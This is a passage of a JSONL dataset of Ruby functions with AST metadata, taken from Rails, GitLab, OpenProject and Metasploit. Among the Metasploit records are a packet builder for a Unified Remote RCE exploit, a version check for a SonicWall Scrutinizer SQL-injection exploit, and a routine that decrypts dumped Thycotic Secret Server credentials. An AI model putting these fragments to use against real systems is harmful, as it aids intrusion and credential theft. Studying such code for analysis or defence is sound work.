end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_template_objects_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"sym\",\"children\":[\"assign_this\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@hi\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@howdy\"]}]}]}]}]}","id":"57b705bb-3de5-4021-8b19-2c35201e9011"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/rendering.rb","start_line":177,"raw_source":"def _process_render_template_options(options)\n        if options[:partial] == true\n          options[:partial] = action_name\n        end\n\n        if !options.keys.intersect?([:partial, :file, :template])\n          options[:prefixes] ||= _prefixes\n        end\n\n        options[:template] ||= (options[:action] || action_name).to_s\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"_process_render_template_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"partial\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[null,\"action_name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"keys\"]},\"intersect?\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"sym\",\"children\":[\"template\"]}]}]},\"!\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prefixes\"]}]},{\"type\":\"send\",\"children\":[null,\"_prefixes\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[null,\"action_name\"]}]}]},\"to_s\"]}]}]}]}","id":"8a0f1eec-2285-4faa-a8e3-976b6a47761b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/unified_remote_rce.rb","start_line":222,"raw_source":"def create_script\n    # header: 00 00 00 e2\n    new_onee = \"\\x00\\x01\\x08\"\n    new_onee << \"Action\\x00\" # 416374696f6e 00\n    new_onee << \"\\x07\\x05\"\n    new_onee << \"ID\\x00\" # 4944 00\n    new_onee << \"Unified.Command\\x00\" # 556e69666965642e436f6d6d616e64 00\n    new_onee << \"\\x02\"\n    new_onee << \"Layout\\x00\" # 4c61796f7574 00\n    new_onee << \"\\x06\"\n    new_onee << \"Controls\\x00\" # 436f6e74726f6c73 00\n    new_onee << \"\\x02\\x00\\x02\"\n    new_onee << \"OnAction\\x00\" # 4f6e416374696f6e 00\n    new_onee << \"\\x02\"\n    new_onee << \"Extras\\x00\" # 457874726173 00\n    new_onee << \"\\x06\"\n    new_onee << \"Values\\x00\" # 56616c756573 00\n    new_onee << \"\\x02\\x00\\x05\"\n    new_onee << \"Key\\x00\" # 4b6579 00\n    new_onee << \"Text\\x00\" # 54657874 00\n    new_onee << \"\\x05\"\n    new_onee << \"Value\\x00\" # 56616c7565 00\n    new_onee << \"\\x00\\x00\\x00\\x00\\x05\"\n    new_onee << \"Name\\x00\" # 4e616d65 00\n    new_onee << \"update\\x00\" # 757064617465 00\n    new_onee << \"\\x00\\x08\"\n    new_onee << \"Type\\x00\" # 54797065 00\n    new_onee << \"\\x08\\x00\\x00\\x00\\x08\"\n    new_onee << \"Request\\x00\" # 52657175657374 00\n    new_onee << \"\\x07\\x02\"\n    new_onee << \"Run\\x00\" # 52756e 00\n    new_onee << \"\\x02\"\n    new_onee << \"Extras\\x00\" # 457874726173 00\n    new_onee << \"\\x06\"\n    new_onee << \"Values\\x00\" # 56616c756573 00\n    new_onee << \"\\x02\\x00\\x05\"\n    new_onee << \"Key\\x00\" # 4b6579 00\n    new_onee << \"Text\\x00\" # 54657874 00\n    new_onee << \"\\x05\"\n    new_onee << \"Value\\x00\" # 56616c7565 00\n    new_onee << \"\\x00\\x00\\x00\\x00\\x05\"\n    new_onee << \"Name\\x00\" # 4e616d65 00\n    new_onee << \"update\\x00\" # 757064617465 00\n    new_onee << \"\\x00\\x05\"\n    new_onee << \"Source\\x00\" # 536f75726365 00\n    new_onee << \"#{@client_name}\\x00\"\n    new_onee << \"\\x00\"\n  end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_script\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_onee\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0001\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Action\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0007\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"ID\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Unified.Command\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Layout\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Controls\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"OnAction\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Extras\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Values\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Key\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Text\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Value\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Name\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"update\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Type\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\b\\u0000\\u0000\\u0000\\b\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Request\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0007\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Run\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Extras\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0006\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Values\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0002\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Key\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Text\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Value\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Name\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"update\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0005\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Source\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client_name\"]}]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_onee\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]}","id":"811f27df-6c72-4603-ae70-a478d69dff07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/dependency_proxy/file_uploader.rb","start_line":27,"raw_source":"def set_content_type(file)\n    return unless model.instance_of?(DependencyProxy::Manifest)\n\n    file.content_type = model.content_type\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_content_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DependencyProxy\"]},\"Manifest\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"content_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"content_type\"]}]}]}]}","id":"ee353676-092d-46ef-b437-e2a5260eed35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/pre_auth_data_entry.rb","start_line":92,"raw_source":"def encode_type\n            int_bn = OpenSSL::BN.new(type.to_s)\n            int = OpenSSL::ASN1::Integer.new(int_bn)\n\n            int\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"int_bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"int_bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"4ea4bf66-a960-4714-a642-73665fbccddc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb","start_line":65,"raw_source":"def check\n    res = send_request_raw({ 'uri' => '/' }) # Check the base path for version regex\n    if res and res.body =~ /\\<title\\>Scrutinizer\\<\\/title\\>/ and\n       res.body =~ /\\<div id\\=\\'.+\\'\\>Scrutinizer 9\\.[0-5]\\.[0-1]\\<\\/div\\>/\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\<title\\\\>Scrutinizer\\\\</title\\\\>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\<div id\\\\=\\\\'.+\\\\'\\\\>Scrutinizer 9\\\\.[0-5]\\\\.[0-1]\\\\</div\\\\>\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"68c3b1f6-5871-4348-853e-1405f6e65756"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb","start_line":597,"raw_source":"def thycotic_secret_decrypt(options = {})\n    secret_id = options.fetch(:secret_id)\n    secret_field = options.fetch(:secret_field)\n    secret_value = options.fetch(:secret_value)\n    secret_key = options.fetch(:secret_key)\n    secret_iv = options.fetch(:secret_iv)\n    secret_miv = options.fetch(:secret_miv)\n    secret_use256 = options.fetch(:secret_use256)\n    if secret_use256 == 1\n      mek = @ss_key256\n    else\n      mek = @ss_key\n    end\n    intermediate_key = false\n    if @ss_build > 8.7\n      intermediate_key = aes_cbc_decrypt(secret_key, mek, secret_miv)\n      intermediate_key ||= secret_key\n    else\n      intermediate_key = mek\n    end\n    decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)\n    unless decrypted_secret\n      vprint_warning(\"SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort\")\n      decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)\n    end\n    return false unless decrypted_secret\n\n    if @ss_build >= 10.4\n      plaintext = decrypted_secret.delete(\"\\000\")[4..]\n    else\n      plaintext = decrypted_secret.delete(\"\\000\")\n    end\n    if !plaintext.to_s.empty?\n      # Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext\n      # This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word\n      if !plaintext.force_encoding('UTF-8').valid_encoding?\n        plaintext = Base64.strict_encode64(plaintext)\n        print_warning(\"SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file\")\n      end\n      return plaintext\n    else\n      return nil\n    end\n  end","complexity_score":57.63,"ast_json":"{\"type\":\"def\",\"children\":[\"thycotic_secret_decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"secret_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_field\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_iv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_iv\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_miv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_miv\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_use256\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"secret_use256\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_use256\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"mek\",{\"type\":\"ivar\",\"children\":[\"@ss_key256\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mek\",{\"type\":\"ivar\",\"children\":[\"@ss_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"intermediate_key\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ss_build\"]},\">\",{\"type\":\"float\",\"children\":[8.7]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"intermediate_key\",{\"type\":\"send\",\"children\":[null,\"aes_cbc_decrypt\",{\"type\":\"lvar\",\"children\":[\"secret_key\"]},{\"type\":\"lvar\",\"children\":[\"mek\"]},{\"type\":\"lvar\",\"children\":[\"secret_miv\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"intermediate_key\"]},{\"type\":\"lvar\",\"children\":[\"secret_key\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"intermediate_key\",{\"type\":\"lvar\",\"children\":[\"mek\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted_secret\",{\"type\":\"send\",\"children\":[null,\"aes_cbc_decrypt\",{\"type\":\"lvar\",\"children\":[\"secret_value\"]},{\"type\":\"lvar\",\"children\":[\"intermediate_key\"]},{\"type\":\"lvar\",\"children\":[\"secret_iv\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted_secret\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SecretID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_id\"]}]},{\"type\":\"str\",\"children\":[\" field '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_field\"]}]},{\"type\":\"str\",\"children\":[\"' decryption failed, attempting pure MEK decryption as last resort\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decrypted_secret\",{\"type\":\"send\",\"children\":[null,\"aes_cbc_decrypt\",{\"type\":\"lvar\",\"children\":[\"secret_value\"]},{\"type\":\"lvar\",\"children\":[\"mek\"]},{\"type\":\"ivar\",\"children\":[\"@ss_iv\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted_secret\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ss_build\"]},\">=\",{\"type\":\"float\",\"children\":[10.4]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted_secret\"]},\"delete\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decrypted_secret\"]},\"delete\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"to_s\"]},\"empty?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},\"valid_encoding?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plaintext\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SecretID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_id\"]}]},{\"type\":\"str\",\"children\":[\" field '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_field\"]}]},{\"type\":\"str\",\"children\":[\"' contains invalid UTF-8 and will be stored as a Base64 string in the output file\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plaintext\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"213e399c-11fc-4b70-9041-78659d217a21"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/queries/projects/project_query_custom_field_order_spec.rb","start_line":44,"raw_source":"def cf_values(*values)\n    values.map do |value|\n      CustomValue.new(custom_field_id: custom_field.id, value:)\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cf_values\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"values\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomValue\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_field\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"1d51d467-ebdb-462f-9d9b-1539597d7b49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/allowlist_migration_task.rb","start_line":131,"raw_source":"def summary_report\n        return if preview_mode?\n\n        failure_count = @failed_projects.length\n        success_count = @success_count.value\n        report_lines = []\n        report_lines << \"Summary: \\n\"\n        report_lines << \"  #{success_count} project(s) successfully migrated, #{failure_count} error(s) reported.\\n\"\n\n        if failure_count > 0\n          report_lines << \"  The following #{failure_count} project id(s) failed to migrate:\\n\"\n          report_lines << \"    #{@failed_projects.join(', ')}\" # -- pluck limited by array size\n        end\n\n        report_lines.join\n      end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"summary_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_mode?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"failure_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@failed_projects\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"success_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@success_count\"]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"report_lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_lines\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Summary: \\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  